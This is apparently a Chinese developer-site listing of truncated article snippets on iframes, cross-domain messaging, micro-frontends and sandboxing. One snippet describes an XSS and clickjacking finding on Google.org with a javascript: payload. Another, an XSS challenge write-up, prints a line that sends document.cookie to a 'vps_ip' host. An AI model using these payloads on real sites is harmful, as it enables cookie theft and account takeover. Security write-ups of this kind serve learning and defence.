首页
学习
活动
专区
圈层
工具
发布

Web前端学习笔记之前端跨域知识总结

对象 var name = win.name;//这里同样获取不到window对象的name属性 } iframe id = "iframe" src...下面举例说明: 假如父页面是baidu.com/a.html,iframe嵌入的页面为google.com/b.html(此处省略了域名等url属性),要实现此两个页面间的通信可以通过以下方法。...a.html传送数据到b.html a.html下修改iframe的src为google.com/b.html#paco b.html监听到url发生变化,触发相应操作  b.html...callback=dosomething"> 我们看到获取数据的地址后面还有一个callback参数,按惯例是用这个参数名,但是你用其他的也一样。...同样这个方法也可以应用到和iframe的交互来: 比如:我的页面(http://damonare.cn/index.html)中内嵌了一个iframe: iframe id="iframe" src=

1.3K30

从谷歌防灾地图服务发现Google.org的XSS和Clickjacking漏洞

首先,我们可以把代表Source URL的值进行一个替换,这里我们把它替换成https://example.com,然后点击OK并保存,在此过程中的请求如下: POST https://google.org.../crisismap/.api/maps/1234 { "id": "1234", "title": "Untitled map", "base_map_type": "GOOGLE_ROADMAP...URL的https://example.com替换成之前的XSS Payload - javascript:alert(document.domain),然后转发请求。...那么,也就是说,我们可以把上述创建发布的地图以iframe方式嵌入到我们控制的网站中去,又能触发XSS,也能证明Clickjacking,如下: iframe src="https://google.org...所以,我又想到用背景为黑色的DIV标签来把iframe伪装成一个点击链接,不好的是,还是需要两次点击才能触发,如下: 这是一个POC demo,它把iframe缩放了50倍,并将其移动到我们希望受害者用户单击的位置

1.7K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    极致的微前端框架,成本低、速度快、原生隔离、功能强

    Web Components 是一个浏览器原生支持的组件封装技术,可以有效隔离元素之间的样式,iframe 可以给子应用提供一个原生隔离的运行环境,相比自行构造的沙箱 iframe 提供了独立的 window...◆ 特性 成本低主应用使用成本低子应用适配成本低 速度快子应用首屏打开速度快子应用运行速度快 原生隔离css 样式通过 Web Components 可以做到严格的原生隔离js 运行在 iframe 中做到严格的原生隔离...相关推荐 推荐文章 为什么工作三年的程序员还不懂APM与调用链技术?...程序员总是不愿意承认:写代码在公司里是一件并不太重要的事情 将 SQL Server 数据库恢复到不同的文件名和位置 985计算机系毕业找不到工作?...原来同样是大学,学到的东西不一样 Google 正式发布 Android 13,已发布至 AOSP 一文搞定MySQL的分区技术、NoSQL、NewSQL、基于MySQL的分表分库 Python版本的选择

    1.9K10

    作为window对象属性的元素 多窗口和窗体

    当一个脚本这样做,多个窗口可以相互操作 iframe 已经处于半废弃的inframe标签。挺无奈的,已经快废了。 不过学习还是学习一下吧 iframe是用来嵌套多个文档的。...由iframe所创建的嵌套浏览上下文是用自己的window对象表示的。每一个iframe都是一个独立的window对象。 对于客户端js来说,窗口,标签页,iframe和框架都是浏览上下文。...和独立的不同之处在于,js脚本能够看到其祖先和子孙 打开和关闭窗口 使用window的open可以打开一个新的标签页 window.open将会载入指定的url到新的或者已经存在的窗口中(取决于如何设置...open()第一个参数会在新窗口中显示文档的url,如果参数省,或为空,将会使用空白页面进行显示 about:blank 脚本无法通过简单的猜测窗口的名字来操纵窗口的web应用。...to visit https://www.google.com.hk/') // 在新的窗口调用alert()方法 w.location = "https://www.google.com" // 设置窗口的

    2.4K50

    无界微前端是如何渲染子应用的?

    的 src 要设置为主应用的域名 为了实现应用间(iframe 间)通讯,无界子应用 iframe 的 url 会设置为主应用的域名(同域) • 主应用域名为 a.com • 子应用域名为 b.com...分析 HTML,可以拿到外部 script、style 的 url,用 fetch 发起 ajax 就可以获取到 script、style 的内容。...但我们知道,子应用的 UI 是挂载在 shadowRoot,跟主应用是同一个 document 上下文,因此它的 baseURI 默认是主应用的 url,但实际上应该为子应用的 url 才对,因此需要修正...有些事件,需要挂载到主应用,有些需要挂载到 iframe 中。...这里直接举个例子: • onunload 事件,需要挂载到 iframe 中 • onkeyup 事件,需要挂载到主应用的 window 下(iframe 中没有 UI,UI 挂载到主应用 document

    1.6K30

    无界微前端是如何渲染子应用的?

    的 src 要设置为主应用的域名为了实现应用间(iframe 间)通讯,无界子应用 iframe 的 url 会设置为主应用的域名(同域)主应用域名为 a.com子应用域名为 b.com,但它对应的 iframe...分析 HTML,可以拿到外部 script、style 的 url,用 fetch 发起 ajax 就可以获取到 script、style 的内容。...但我们知道,子应用的 UI 是挂载在 shadowRoot,跟主应用是同一个 document 上下文,因此它的 baseURI 默认是主应用的 url,但实际上应该为子应用的 url 才对,因此需要修正...有些事件,需要挂载到主应用,有些需要挂载到 iframe 中。...这里直接举个例子:onunload 事件,需要挂载到 iframe 中onkeyup 事件,需要挂载到主应用的 window 下(iframe 中没有 UI,UI 挂载到主应用 document 的 shadowRoot

    5.8K30

    JavaScript中的沙箱机制探秘:iFrame沙箱实现方案详解

    " name="code_js"> id="id_code_css" name="code_css"> iframe...我们可以根据需求调节sandbox开放的尺度,需要注意的是,若不是完全信任iframe中内容的话最好不要添加allow-top-navigation,这将允许当前页面被包含页面给替换,对用户造成很大误导从而引发安全问题...间可以保持和同一服务器的长连接,通过转发实现交互;或者用websocket与服务器交互后再利用postMessage在窗体间进行交互。...实现思路如下: 搭建Host服务器 首先我们需要一台Host服务器提供用户信息和应用集中管理工作并呈现Host页面。...iframe中发出,在Host页面上显示参数,随后经由后台发往阿里云web service,再将返回结果发送给app,最后app在控制台输出log,如图所示: ?

    4.9K10

    基于iframe的跨域与更新父窗体地址栏的解决方案

    具体实现方式可以用原生iframe标签,或者react的react-iframe,我两种都试过,都可以使用,但考虑到后续要实现诸如“内部页面刷新保持”的效果,建议还是直接使用原生的iframe标签,因为要用到...解决跨域的方法有很多种,这里由于管理平台的主域是“oa.com”,运维平台的主域也是“oa.com”,所以采用document.domain来跨域。...每次刷新页面,在页面初始化时,就根据当前父窗体的地址栏中的url去得到属于运维平台的location.search值,用这个值修改iframe的src值,达到每次刷新页面,都可以根据当前地址栏的url,...多个查询参数之间用&分隔,如?a=b&c=d。 3.2 常见的跨域方法 3.2.1 同源策略 是一个浏览器的安全策略,同源是指:协议、域名、端口都相同的页面。只要有一个不同,就会受到同源策略的限制。...3.3 history.replaceState() 作用:可修改浏览历史中当前纪录 使用:history.replaceState(data,title,url); 具体参数的含义可自行google。

    15.1K1350

    网页加速特技之 AMP

    部分 HTML 标签必须使用 AMP 自定义的组件来替换如 、 用 、 替换。..." /> 标签,指定该页面普通版本的 URL;如果只有一个版本,则使用当前 URL; 必须将 放置在 HEAD 区域最开始的位置; 必须在 HEAD 区域包含这个...任何页面用原生的script标签,必须要通知AMP系统,即在`script`中加 `custome-element`属性。...如果第三方JS触发多个样式重计算,iframe中也只有很少一部分DOM,重新布局不会消耗很多性能。 5.CSS必须内联,内联样式表最大50kb CSS会阻塞页面渲染,阻塞页面加载。...在一个普通的页面中有一些script和样式表,浏览器需要等待这些资源加载完成后开始加载这些大的字体资源。

    5.3K82

    爬虫入门指南(4): 使用Selenium和API爬取动态网页的最佳方法

    例如,如果使用Google Chrome浏览器,可以下载Chrome Driver并将其添加到系统路径中。...url = "https://example.com" # 目标动态网页的URL driver.get(url) 步骤4:等待动态内容加载完成 由于动态网页的加载是异步进行的,通常需要等待一段时间才能确保所有内容都已加载完成...例如,如果使用Google Chrome浏览器,需要下载Chrome Driver。 将驱动程序路径添加到系统路径中,以便Selenium可以找到它。...并切换到 iframe 窗口 iframe = driver.find_element_by_id("iframe") driver.switch_to.frame(iframe) 切换回主窗口: 示例...param2": "value2"} # 请求参数 response = requests.get(url, params=params) data = response.json() # 处理返回的数据

    3.5K10

    JavaScript中window.open()和Window Location href的区别「建议收藏」

    window.open(URL,name,specs,replace) 参数 说明 URL 可选。打开指定的页面的URL。如果没有指定URL,打开一个新的空白窗口 name 可选。...这是默认 _parent – URL加载到父框架 _self – URL替换当前页面 _top – URL替换任何可加载的框架集 name – 窗口名称 specs 可选。一个逗号分隔的项目列表。...这是默认 _parent – URL加载到父框架 _self – URL替换当前页面 _top – URL替换任何可加载的框架集 name – 窗口名称 specs 可选。...支持下面的值: true – URL 替换浏览历史中的当前条目。 false – URL 在浏览历史中创建新的条目。...只要有窗口的名称和window.open中第二个参数中的一样就会将这个窗口替换,用这个特性的话可以在iframe和frame中来代替location.href。

    7.8K20

    2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析EXP以及 如何防御和修复(1)———— 作者:LJS

    XSS典例分析EXP以及 如何防御和修复(1) 7.1 Ah That's Hawt id="will"> smith = (new URL(location...7.2 Area 51 首先分析代码 id="pwnme"> var input = (new URL(location).searchParams.get...,我们也是通过这些参数指令来控制引入源,下面列举说明: script-src:外部脚本 style-src:样式表 img-src:图像 media-src:媒体文件(音频和视频) font-src:字体文件...+ document.cookie // 这里将当前页面的所有 cookie 值作为参数拼接到 URL 的末尾 link.setAttribute("href", "//vps_ip/?"...根据前面的知识,这是一个两层的层级关系,我们可以用 HTMLCollection 来操作 id=defaultAvatar>id=defaultAvatar name=avatar href

    51610
    领券